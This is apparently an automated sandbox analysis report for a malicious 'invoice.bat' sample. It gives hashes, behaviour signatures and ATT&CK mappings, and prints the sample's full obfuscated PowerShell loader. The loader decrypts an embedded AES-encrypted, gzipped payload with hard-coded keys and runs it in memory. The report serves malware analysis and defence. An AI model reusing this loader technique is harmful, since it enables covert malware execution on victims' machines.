12c87ccc8c293657e41d39202a8ccc02a106ee4128769957d42a206019fcf20d

Analysis

max time kernel
28s
max time network
30s
platform
windows7_x64
resource
win7-20221111-en
resource tags

arch:x64arch:x86image:win7-20221111-enlocale:en-usos:windows7-x64system
submitted
19-01-2023 13:06

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General

Target

invoice.bat
Size

49KB
MD5

36753b61c8e886f0f49388f72b2435ac
SHA1

20c308298c338520543e4c272b2cd2901bd7cb52
SHA256

12c87ccc8c293657e41d39202a8ccc02a106ee4128769957d42a206019fcf20d
SHA512

cc11219fa92b219d33cd111258fcbda65f02479d06b35c7589040fd9fafff0c842a50f690ad30046eb2e530cb5fbaca3b8ae1c7e23291aeaab4e9acafd5bdc82
SSDEEP

768:F8TRp7qCDMI3IbV+qks5F9x+OZmDFBeTUjG1qEsbae4/evfI4yu/:2utIQ95FbCDFEUBR

Score

8^/10

Malware Config

Signatures

Executes dropped EXE 1 IoCs

Processes:

invoice.bat.exe

pid process

2040 invoice.bat.exe
Loads dropped DLL 1 IoCs

Processes:

cmd.exe

pid process

852 cmd.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

invoice.bat.exe

pid process

2040 invoice.bat.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

invoice.bat.exe

description pid process

Token: SeDebugPrivilege 2040 invoice.bat.exe

pid	process
2040	invoice.bat.exe

pid	process
852	cmd.exe

pid	process
2040	invoice.bat.exe

description	pid	process
Token: SeDebugPrivilege	2040	invoice.bat.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

cmd.exe

description	pid	process	target process
PID 852 wrote to memory of 2040	852	cmd.exe	invoice.bat.exe
PID 852 wrote to memory of 2040	852	cmd.exe	invoice.bat.exe
PID 852 wrote to memory of 2040	852	cmd.exe	invoice.bat.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\invoice.bat"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:852

C:\Users\Admin\AppData\Local\Temp\invoice.bat.exe
"invoice.bat.exe" -noprofile -windowstyle hidden -ep bypass -command $qfpLe = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\invoice.bat').Split([Environment]::NewLine);foreach ($zbumi in $qfpLe) { if ($zbumi.StartsWith(':: ')) { $gJJDY = $zbumi.Substring(3); break; }; };$Piqdg = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($gJJDY);$edVwk = New-Object System.Security.Cryptography.AesManaged;$edVwk.Mode = [System.Security.Cryptography.CipherMode]::CBC;$edVwk.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$edVwk.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Aiiudw+fXb86Mnh/w13gDxuD3EbVUZkaOyGHqMc/CQY=');$edVwk.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sx2hI0APZjv9Fq8D3SERvQ==');$imDxS = $edVwk.CreateDecryptor();$Piqdg = $imDxS.TransformFinalBlock($Piqdg, 0, $Piqdg.Length);$imDxS.Dispose();$edVwk.Dispose();$YZKNZ = New-Object System.IO.MemoryStream(, $Piqdg);$JKRAg = New-Object System.IO.MemoryStream;$YtWFs = New-Object System.IO.Compression.GZipStream($YZKNZ, [IO.Compression.CompressionMode]::Decompress);$YtWFs.CopyTo($JKRAg);$YtWFs.Dispose();$YZKNZ.Dispose();$JKRAg.Dispose();$Piqdg = $JKRAg.ToArray();$DtnJj = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($Piqdg);$rYEbR = $DtnJj.EntryPoint;$rYEbR.Invoke($null, (, [string[]] ('')))
2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2040

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\invoice.bat.exe

Filesize
462KB

MD5
852d67a27e454bd389fa7f02a8cbe23f

SHA1
5330fedad485e0e4c23b2abe1075a1f984fde9fc

SHA256
a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8

SHA512
327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d

Download Submit
\Users\Admin\AppData\Local\Temp\invoice.bat.exe

Filesize
462KB

MD5
852d67a27e454bd389fa7f02a8cbe23f

SHA1
5330fedad485e0e4c23b2abe1075a1f984fde9fc

SHA256
a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8

SHA512
327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d

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memory/2040-55-0x0000000000000000-mapping.dmp

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memory/2040-57-0x000007FEFC4B1000-0x000007FEFC4B3000-memory.dmp

Filesize
8KB

Download
memory/2040-58-0x000007FEF3F90000-0x000007FEF49B3000-memory.dmp

Filesize
10.1MB

Download
memory/2040-60-0x0000000002614000-0x0000000002617000-memory.dmp

Filesize
12KB

Download
memory/2040-59-0x000007FEF3430000-0x000007FEF3F8D000-memory.dmp

Filesize
11.4MB

Download
memory/2040-61-0x000000001B770000-0x000000001BA6F000-memory.dmp

Filesize
3.0MB

Download
memory/2040-62-0x0000000002614000-0x0000000002617000-memory.dmp

Filesize
12KB

Download
memory/2040-63-0x000000000261B000-0x000000000263A000-memory.dmp

Filesize
124KB

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